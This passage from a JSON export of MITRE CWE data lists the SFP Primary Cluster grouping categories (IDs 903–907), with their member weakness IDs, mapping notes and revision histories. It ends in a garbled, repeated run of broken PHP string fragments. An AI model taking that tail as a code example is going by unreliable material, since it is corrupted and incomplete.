"updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, References"}]}, "entry_type": "Weakness", "ranking": 780.0}, {"@ID": "907", "@Name": "SFP Primary Cluster: Other", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Other cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "975", "@View_ID": "888"}, {"@CWE_ID": "976", "@View_ID": "888"}, {"@CWE_ID": "977", "@View_ID": "888"}, {"@CWE_ID": "978", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Other"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "906", "@Name": "SFP Primary Cluster: UI", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the UI cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "995", "@View_ID": "888"}, {"@CWE_ID": "996", "@View_ID": "888"}, {"@CWE_ID": "997", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: UI"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "905", "@Name": "SFP Primary Cluster: Predictability", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "330", "@View_ID": "888"}, {"@CWE_ID": "331", "@View_ID": "888"}, {"@CWE_ID": "332", "@View_ID": "888"}, {"@CWE_ID": "333", "@View_ID": "888"}, {"@CWE_ID": "334", "@View_ID": "888"}, {"@CWE_ID": "335", "@View_ID": "888"}, {"@CWE_ID": "336", "@View_ID": "888"}, {"@CWE_ID": "337", "@View_ID": "888"}, {"@CWE_ID": "338", "@View_ID": "888"}, {"@CWE_ID": "339", "@View_ID": "888"}, {"@CWE_ID": "340", "@View_ID": "888"}, {"@CWE_ID": "341", "@View_ID": "888"}, {"@CWE_ID": "342", "@View_ID": "888"}, {"@CWE_ID": "343", "@View_ID": "888"}, {"@CWE_ID": "344", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Predictability"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "904", "@Name": "SFP Primary Cluster: Malware", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Malware cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "506", "@View_ID": "888"}, {"@CWE_ID": "507", "@View_ID": "888"}, {"@CWE_ID": "508", "@View_ID": "888"}, {"@CWE_ID": "509", "@View_ID": "888"}, {"@CWE_ID": "510", "@View_ID": "888"}, {"@CWE_ID": "511", "@View_ID": "888"}, {"@CWE_ID": "512", "@View_ID": "888"}, {"@CWE_ID": "69", "@View_ID": "888"}, {"@CWE_ID": "968", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Malware"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "903", "@Name": "SFP Primary Cluster: Cryptography", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "958", "@View_ID": "888"}, {"@CWE_ID": "959", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Cryptography"}}, "entry_type": "Grouping", "ranking": null}], "metadata": {"count": 1477, "page": 1, "per_page": 100}}
\\n\");fclose($handle);echo \"Message Saved!
\\n\");", "fclose($handle);", "echo \"Message Saved!
\\n\");fclose($handle);echo \"Message Saved!
\\n\");", "fclose($handle);", "echo \"Message Saved!